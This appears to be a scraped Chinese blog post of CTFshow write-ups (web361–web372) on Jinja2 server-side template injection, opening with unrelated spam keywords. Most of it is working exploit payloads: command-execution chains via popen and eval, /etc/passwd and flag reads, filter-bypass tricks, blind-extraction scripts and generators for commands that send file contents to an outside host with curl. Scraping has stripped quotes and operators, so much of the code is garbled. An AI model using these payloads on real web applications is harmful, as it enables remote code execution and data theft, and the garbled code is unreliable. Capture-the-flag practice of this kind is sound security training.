网站建设动漫,免费行情软件app网站mnw直,二次开发英文,北京智能网站建设哪里好CTFshow SSTI web361
笔记分享
一、代码块
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量#xff0c;也可以执行语句
{% for i in .__class__.__mro__[1].__subclasses__() %}{% if i.__name___wrap_close %}{% print i.__init__.…CTFshow SSTI web361
笔记分享
一、代码块
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量也可以执行语句
{% for i in .__class__.__mro__[1].__subclasses__() %}{% if i.__name___wrap_close %}{% print i.__init__.__globals__[popen](ls).read() %}{% endif %}{% endfor %}行声明 ## 可以有和{%%}相同的效果二、常用方法
python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object而object拥有众多的子类。[].__class__列表
.__class__ 字符串
().__class__ 元组
{}.__class__字典
------------------------------------------------------------
有这些类继承的方法我们就可以从任何一个变量回溯到最顶层基类classobject中去再获得到此基类所有实现的类就可以获得到很多的类和方法了。__class__ 类的一个内置属性查看实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类直接父类以元组形式只有一个元素类型的实例通常没有属性 __bases__
__mro__ 可以用来获取一个类的调用顺序元组形式返回如(class str, class object)。__mro__[1]就是object
------------------------------------------------------------
__subclasses__()返回这个类的所有子类列表形式。
__builtins__内建名称空间内建名称空间有许多名字到对象之间映射而这些名字其实就是内建函数的名称对象就是这些内建函数本身。即里面有很多常用的函数。返回内建内建名称空间字典__builtins__与__builtin__的区别就不放了百度都有。 做为默认初始模块出现的可用于查看当前所有导入的内建函数。集合形式
__init__初始化类返回的类型是function可以用来跳到__globals__。
__globals__会以字典的形式返回当前位置的所有全局变量与 func_globals 等价。
__import__动态加载类和函数也就是导入模块经常用于导入os模块语法__import__(模块名)。如__import__(os).popen(ls).read()
------------------------------------------------------------
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上在实例化的对象进行.操作的时候形如a.xxx/a.xxx()都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()调用字典中的键值其实就是调用这个魔术方法比如a[b]就是a.__getitem__(b) 三、SSTI-jinja2执行命令的六种方式
内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令最后附上我的思维导图 开始做题
进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:以下这些都可以
#寻找 popen 函数执行命令
?name{{.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[popen](cat /flag).read()}} #寻找内建函数 eval 执行命令
?name{{a.__init__.__globals__[__builtins__].eval(__import__(os).popen(cat /flag).read())}}#寻找内建函数 eval 执行命令
?name{{.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[__builtins__][eval](__import__(os).popen(cat /flag).read())}}#寻找 os 模块执行命令
?name{{ config.__class__.__init__.__globals__[os].popen(cat ../flag).read() }}?name{% for i in .__class__.__mro__[1].__subclasses__() %}{% if i.__name___wrap_close %}{% print i.__init__.__globals__[popen](ls).read() %}{% endif %}{% endfor %}?name{% for i in .__class__.__mro__[1].__subclasses__() %}{% if i.__name___wrap_close %}{% print i.__init__.__globals__[popen](ls).read() %}{% endif %}{% endfor %}CTFshow SSTI web362
开始过滤了测试了一下过滤了数字1和7没有过滤。
绕过方法用全角数字 ‘’,‘’,‘’,‘’,‘’,‘’,‘’,‘’,‘’,‘’
payload
?name{{.__class__.__bases__[].__subclasses__()[].__init__.__globals__[popen](cat /flag).read()}} #132跑脚本?name{{a.__init__.__globals__[__builtins__].eval(__import__(os).popen(cat /flag).read())}}?name{{.__class__.__bases__[0].__subclasses__()[].__init__.__globals__[__builtins__][eval](__import__(os).popen(cat /flag).read())}}?name{{ config.__class__.__init__.__globals__[os].popen(cat ../flag).read() }}?name{% for i in .__class__.__mro__[].__subclasses__() %}{% if i.__name___wrap_close %}{% print i.__init__.__globals__[popen](ls).read() %}{% endif %}{% endfor %} CTFshow SSTI web363
过滤了单双引号。常见的绕过过滤方式有两种一种是request另一种是chr函数。
request:
假设传入{{ config.__class__.__init__.__globals__[os] }},因为引号被过滤所以无法执行可以把os换成request.args.a(这里的a可以理解为自定义的变量名字可以任意设置)
随后在后面传入a的值变成{{ config.__class__.__init__.__globals__[request.args.a] }}aos与原命令等效比如我们要构造?name{{ config.__class__.__init__.__globals__[os].popen(cat ../flag).read() }}但是引号不能使用了就可以把这两处使用引号的地方替换掉最终变成
?name{{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}aosbcat ../flag例
?name{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}path/etc/passwd
等同于
?name{{().__class__.__bases__[0].__subclasses__().pop(40)(/etc/passwd).read()}}?name{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}ososcmdls /
等同于
?name{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[os].popen(ls /).read()}}chr:
暂时不写有点麻烦。
原理 我们没法直接使用chr函数所以我们需要先通过__builtins__来找到它__builtins__方法是作为默认初始模块出现的可用于查看当前所有导入的内建函数。
还有一种是利用chr进行字符串拼接。可以输入config.str()拿到很长的字符串再控制下标索引提取想要的字符进行拼接。比如构造os字符串。url_for.globals[(config.str()[2])%2b(config.str()[42])] 其实中括号内就等价于[‘os’]。 //?name{{url_for.globals[‘os’]}}
最终payload
?name{{x.__init__.__globals__[request.args.a].eval(request.args.b)}}a__builtins__b__import__(os).popen(cat /flag).read()?aosbpopenccat /flagname{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}?name{{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}aosbcat ../flag CTFshow SSTI web364
过滤了args 。
request.args是GET传参用其他方式传来替代args就可以了比如cookie 。
也可以将其中的request.args改为request.valuesPOST和GET两种方法传递的数据request.values都可以接收。
payload:
?name{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x1__builtins__;x2__import__(os).popen(cat /flag).read()?name{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie传参:aos;bpopen;ccat /flag?name{{x.__init__.__globals__[request.values.a].eval(request.values.b)}}a__builtins__b__import__(os).popen(cat /flag).read()?aosbpopenccat /flagname{{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}?name{{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}aosbcat ../flag?name{{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shellTrue,stdout-1).communicate()[0]}}acat /flag //没看懂CTFshow SSTI web365
起手式测试一下还是jinja2模板注入 造个字典跑一下过滤
//ssti-fuzz.txt
.
[
]
_
{
}
{{
}}
{%
%}
{%if
{%endif
{%print(
1
2
3
4
5
6
7
8
9
0%2B
%2b
join()
u
os
popen
importlib
linecache
subprocess
|attr()
request
args
value
cookie
__getitem__()
__class__
__base__
__bases__
__mro__
__subclasses__()
__builtins__
__init__
__globals__
__import__
__dic__
__getattribute__()
__getitem__()
__str__()
lipsum
current_appfuzz出来一共过滤了四个字符、、[、args 我们选择用popen函数执行命令其他五种方式同理。
先测测os模块在哪
{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}定位132 原始payload
{{.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen(ls /).read()}}__getitem__绕过中括号[过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(ls /).read()}}request对象绕过引号、过滤cookie或者values绕过args过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}Cookie传参xls / Cookie传参xtac /f* CTFshow SSTI web366
直接fuzz过滤了、、[、args和_ 我们选择用popen函数执行命令其他五种方式同理。
不定位了应该还是132。
原始payload
{{.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen(ls /).read()}}__getitem__绕过中括号[过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(ls /).read()}}request对象绕过引号、过滤cookie或者values绕过args过滤
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}|attr()request对象绕过对下划线的过滤 |attr(__class__) 相当于 .__class__ {{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7).popen(request.cookies.x8).read()}}Cookie传参x1__class__;x2__bases__;x3__getitem__;x4__subclasses__;x5__getitem__;x6__init__;x7__globals__;x8tac /f*
没出
{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7)|attr(request.cookies.x8)(request.cookies.x9)|attr(request.cookies.x10)()}}Cookie传参x1__class__;x2__bases__;x3__getitem__;x4__subclasses__;x5__getitem__;x6__init__;x7__globals__;x8popen;x9tac /f*;x10read
还是没出
回溯测试一下我们能拿到全局变量而且里面有popen
{{x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3)(0)|attr(request.cookies.x4)()|attr(request.cookies.x5)(132)|attr(request.cookies.x6)|attr(request.cookies.x7)}}Cookie传参x1__class__;x2__bases__;x3__getitem__;x4__subclasses__;x5__getitem__;x6__init__;x7__globals__ 尚未解决暂且预留 我们也可以换个思路。
lipsum.__globals__中含有os模块
那我们原始payload就是
{{(lipsum.__globals__).os.popen(tac /flag).read()}} |attr()request对象绕过对下划线_过滤。
request对象绕过引号、过滤cookie或者values绕过args过滤
{{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}} Cookie传参x1 __globals__;x2tac /flag CTFshow SSTI web367
起手式fuzz过滤了、、[、args、_和os 上一题第二个思路的payload改改还能继续用os是cookie传进去的不会触发过滤。
{{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}Cookie传参x1 __globals__;x2os;x3tac /flag CTFshow SSTI web368
起手式fuzz过滤了、、[、args、_、os和{{ 比上题多过滤了一个{{我们用{%print(......)%}绕过
继续把上题的payload改改。
{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}Cookie传参x1 __globals__;x2os;x3tac /flag 我们还有别的思路。用{%set来绕过过滤
{%set aaa(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()%}{% print(aaa)%}Cookie传参x1 __globals__;x2os;x3tac /flag 还有思路文件读取
{%set aaa(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}Cookiex1__init__;x2__globals__;x3__getitem__;x4__builtins__;x5/flag 还有思路盲注
用{% %}是可以盲注的我们这里盲注一下/flag文件的内容原理就在于open(‘/flag’).read()是回显整个文件但是read函数里加上参数open(‘/flag’).read(i)返回的就是读出所读的文件里的前i个字符以此类推就可以盲注出了。python脚本
import requests
import string
url http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name{%set aaa(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}\
{%if aaa.eval(request.cookies.x5)request.cookies.x6%}\
xxx17\
{%endif%}sstring.digitsstring.ascii_lowercase{-}
flag
for i in range(1,99):print(i)for j in s:xflagjheaders{Cookie:x1__init__;x2__globals__;x3__getitem__;x4__builtins__;x5open(/flag).read({0});x6{1}.format(i,x)}rrequests.get(url,headersheaders)#print(r.text)if(xxx17 in r.text):flagxprint(flag)breakCTFshow SSTI web369
考点jinja2过滤器
起手式fuzz过滤了、、[、args、_、os、{{和request 过滤了request那这题不能再拿之前的payload改改用了。
这里要用到jinja2的过滤器
直接给payload然后解释吧。 读取/flag文件payload
?name
{% set podict(po1,p2)|join%}
{% set a(()|select|string|list)|attr(po)(24)%}
{% set redict(reque1,st1)|join%}
{% set in(a~a~dict(inita)|join~a~a)|join()%}
{% set gl(a~a~dict(globalsq)|join~a~a)|join()%}
{% set ge(a~a~dict(getitema)|join~a~a)%}
{% set bu(a~a~dict(builtinsa)|join~a~a)|join()%}
{% set x(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chrx.chr%}
{% set fchr(47)~(dict(flaga)|join)%}
{% print(x.open(f).read())%}详解
//构造pop
{% set podict(po1,p2)|join%}//构造下划线 _
{% set a(()|select|string|list)|attr(po)(24)%}//构造request
{% set redict(reque1,st1)|join%}//构造__init__
{% set in(a~a~dict(inita)|join~a~a)|join()%}//构造__globals__
{% set gl(a~a~dict(globalsq)|join~a~a)|join()%}//构造__getitem__
{% set ge(a~a~dict(getitema)|join~a~a)%}//构造__builtins__
{% set bu(a~a~dict(builtinsa)|join~a~a)|join()%}//【构造】q.__init__.__globals__.__getitem__.__builtins__
{% set x(q|attr(in)|attr(gl)|attr(ge))(bu)%}//构造chr函数
{% set chrx.chr%}// 构造/flag
{% set fchr(47)~(dict(flaga)|join)%}//读取文件/flag
{% print(x.open(f).read())%}执行命令cat /flag。相当于lipsum.__globals__[__builtins__].open(/flag).read()
?name{% print (lipsum|attr(
(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
))
.get(
(config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
)
.popen(
(config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()
).read() %}反弹shell的payload
?name
{% set a(()|select|string|list).pop(24)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set cmd
%}
{%if x.eval(cmd)%}
123
{%endif%}cmd用此脚本生成
s__import__(os).popen(curl http://xxx:4567?pcat /flag).read()
def ccchr(s):tfor i in range(len(s)):if ilen(s)-1:tchr(str(ord(s[i])))%2belse:tchr(str(ord(s[i])))return t盲注的脚本
import requests
import string
def ccchr(s):tfor i in range(len(s)):if ilen(s)-1:tchr(str(ord(s[i])))%2belse:tchr(str(ord(s[i])))return t
url http://a4023da9-bc70-4324-a88e-d1b4e6087bb6.challenge.ctf.show/?name
{% set a(()|select|string|list).pop(24)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set cmdchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% set cmd2sstring.digitsstring.ascii_lowercase{_-}
flag
for i in range(1,50):print(i)for j in s:xflagjuurlccchr(x)%}{% if x.open(cmd).read(str(i))cmd2%}xxx17{% endif%}#print(u)rrequests.get(u)if(xxx17 in r.text): flagxprint(flag)break执行命令cat /flag。
//构造下划线_
{%set%20xiahua(lipsum|select|string|list).pop(24)%}{%set gb(xiahua,xiahua,dict(gloa,balsa)|join,xiahua,xiahua)|join%}
{%set gm(xiahua,xiahua,dict(gea,titema)|join,xiahua,xiahua)|join%}
{%set bl(xiahua,xiahua,dict(builtinsa)|join,xiahua,xiahua)|join%}
{%set chcr(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oodict(oa,sa)|join%}
{%set ppdict(poa,pena)|join%}
{%set spacechcr(32)%}
{%set xiegangchcr(47)%}
{%set f1agdict(fla,aga)|join%}
{%set shell(dict(cata)|join,space,xiegang,f1ag)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(rea,ada)|join)()%} CTFshow SSTI web370
起手式fuzz过滤了、、[、args、_、os、{{、request和数字 以web369的第一个payload为例讲四个方法
?name
{% set podict(po1,p2)|join%}
{% set a(()|select|string|list)|attr(po)(24)%}
{% set redict(reque1,st1)|join%}
{% set in(a~a~dict(inita)|join~a~a)|join()%}
{% set gl(a~a~dict(globalsq)|join~a~a)|join()%}
{% set ge(a~a~dict(getitema)|join~a~a)%}
{% set bu(a~a~dict(builtinsa)|join~a~a)|join()%}
{% set x(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chrx.chr%}
{% set fchr(47)~(dict(flaga)|join)%}
{% print(x.open(f).read())%}方法一用全角数字绕过。
,,,,,,,,,payload
?name
{% set podict(po,p)|join%}
{% set a(()|select|string|list)|attr(po)()%}
{% set redict(reque,st)|join%}
{% set in(a~a~dict(inita)|join~a~a)|join()%}
{% set gl(a~a~dict(globalsq)|join~a~a)|join()%}
{% set ge(a~a~dict(getitema)|join~a~a)%}
{% set bu(a~a~dict(builtinsa)|join~a~a)|join()%}
{% set x(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chrx.chr%}
{% set fchr()~(dict(flaga)|join)%}
{% print(x.open(f).read())%}方法二自己构造数字绕过。
方法
{% set cc(dict(eea)|join|count)%}
{% set cccc(dict(eeeea)|join|length)%}
从而cc2,cccc4再{% set coun(cc~cccc)|int%} -- coun24
快速得到一个数值所以web369的payload里面的数字可以由构造得到。
如
{% set ershisi(cc~cccc)|int%}
{% set podict(poc,pc)|join%}
{% set a(()|select|string|list)|attr(po)(ershisi)%}就是
{% set a(()|select|string|list)|pop(24)%}payload
?name
{% set c(dict(ea)|join|count)%}
{% set cc(dict(eea)|join|count)%}
{% set ccc(dict(eeea)|join|count)%}
{% set cccc(dict(eeeea)|join|count)%}
{% set ccccccc(dict(eeeeeeea)|join|count)%}
{% set cccccccc(dict(eeeeeeeea)|join|count)%}
{% set ccccccccc(dict(eeeeeeeeea)|join|count)%}
{% set cccccccccc(dict(eeeeeeeeeea)|join|count)%}{% set twoandfour(cc~cccc)|int%}
{% set fourandseven(cccc~ccccccc)|int%} {% set podict(pob,pb)|join%}
{% set a(()|select|string|list)|attr(po)(twoandfour)%}
{% set redict(requeb,stb)|join%}
{% set in(a~a~dict(inita)|join~a~a)|join()%}
{% set gl(a~a~dict(globalsq)|join~a~a)|join()%}
{% set ge(a~a~dict(getitema)|join~a~a)%}
{% set bu(a~a~dict(builtinsa)|join~a~a)|join()%}
{% set x(q|attr(in)|attr(gl)|attr(ge))(bu)%}
{% set chrx.chr%}
{% set fchr(fourandseven)~(dict(flaga)|join)%}
{% print(x.open(f).read())%}方法三用index构造数字
Python index() 方法检测字符串中是否包含子字符串 str 如果指定 beg开始 和 end结束 范围则检查是否包含在指定范围内。如果包含子字符串返回开始的索引值否则抛出异常。
?name
{% set o(dict(oz)|join) %}
{% set ndict(nz)|join %}
{% set ershisi(()|select|string|list).index(o)*(()|select|string|list).index(n) %}
{% set liushisi(()|select|string|list).index(o)*(()|select|string|list).index(o) %}
{% set xiegang(config|string|list).pop(-liushisi) %}
{% set gang(()|select|string|list).pop(ershisi) %}
{% set globals(gang,gang,(dict(globalsz)|join),gang,gang)|join %}
{% set builtins(gang,gang,(dict(builtinsz)|join),gang,gang)|join %}
{% set gangfulaige(xiegang,dict(flagz)|join)|join %}
{% print (lipsum|attr(globals)).get(builtins).open(gangfulaige).read() %} 方法四反弹shell
生成payload脚本
import requests
cmd__import__(os).popen(curl http://vps-ip:9023?pcat /flag).read()
def fun1(s):t[]for i in range(len(s)):t.append(ord(s[i]))ktlist(set(t))for i in t:k{% set e*(t.index(i)1)dict(e*ia)|join|count%}\nreturn k
def fun2(s):t[]for i in range(len(s)):t.append(ord(s[i]))tlist(set(t))kfor i in range(len(s)):if ilen(s)-1:kchr(e*(t.index(ord(s[i]))1))%2belse:kchr(e*(t.index(ord(s[i]))1))return k
url http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?namefun1(cmd)
{% set coundict(eeeeeeeeeeeeeeeeeeeeeeeea)|join|count%}
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(coun)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set cmdfun2(cmd)
%}
{%if x.eval(cmd)%}
abc
{%endif%}print(url)生成后CV到题目手动提交 CTFshow SSTI web371
起手式fuzz过滤了、、[、args、_、os、{{、request、数字和{%print 过滤了{%print意味着能执行但是没有回显了。
web370的反弹shell方法还能用。 一种是直接python脚本生成payloadpayload弹shell。
脚本
import requests
cmd__import__(os).popen(curl http://vps-ip:9023?pcat /flag).read()
def fun1(s):t[]for i in range(len(s)):t.append(ord(s[i]))ktlist(set(t))for i in t:k{% set e*(t.index(i)1)dict(e*ia)|join|count%}\nreturn k
def fun2(s):t[]for i in range(len(s)):t.append(ord(s[i]))tlist(set(t))kfor i in range(len(s)):if ilen(s)-1:kchr(e*(t.index(ord(s[i]))1))%2belse:kchr(e*(t.index(ord(s[i]))1))return k
url http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?namefun1(cmd)
{% set coundict(eeeeeeeeeeeeeeeeeeeeeeeea)|join|count%}
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(coun)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set cmdfun2(cmd)
%}
{%if x.eval(cmd)%}
abc
{%endif%}print(url)还有一种是payload固定里面的一部分cmd用脚本生成。
payload
?name
{% set c(t|count)%}
{% set cc(dict(ea)|join|count)%}
{% set ccc(dict(eea)|join|count)%}
{% set cccc(dict(eeea)|join|count)%}
{% set ccccc(dict(eeeea)|join|count)%}
{% set cccccc(dict(eeeeea)|join|count)%}
{% set ccccccc(dict(eeeeeea)|join|count)%}
{% set cccccccc(dict(eeeeeeea)|join|count)%}
{% set ccccccccc(dict(eeeeeeeea)|join|count)%}
{% set cccccccccc(dict(eeeeeeeeea)|join|count)%}
{% set ccccccccccc(dict(eeeeeeeeeea)|join|count)%}
{% set cccccccccccc(dict(eeeeeeeeeeea)|join|count)%}
{% set coun(ccc~ccccc)|int%}
{% set podict(poa,pa)|join%}
{% set a(()|select|string|list)|attr(po)(coun)%}
{% set ini(a,a,dict(inita)|join,a,a)|join()%}
{% set glo(a,a,dict(globalsa)|join,a,a)|join()%}
{% set geti(a,a,dict(getitema)|join,a,a)|join()%}
{% set built(a,a,dict(builtinsa)|join,a,a)|join()%}
{% set x(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chrx.chr%}
{% set cmd【xxx】
%}
{%if x.eval(cmd)%}
abc
{%endif%}生成cmd的脚本
def aaa(t):t((int(t[:-1:])1)*c~(int(t[-1])1)*c)|intreturn t
s__import__(os).popen(curl http://xxx:9023?pcat /flag).read()
def ccchr(s):tfor i in range(len(s)):if ilen(s)-1:tchr(aaa(str(ord(s[i]))))%2belse:tchr(aaa(str(ord(s[i]))))return t
print(ccchr(s)) CTFshow SSTI web372
起手式fuzz过滤了、、[、args、_、os、{{、request、数字、{%print和count 和前一题一样count换成length或者全角数字或者用index构造数字。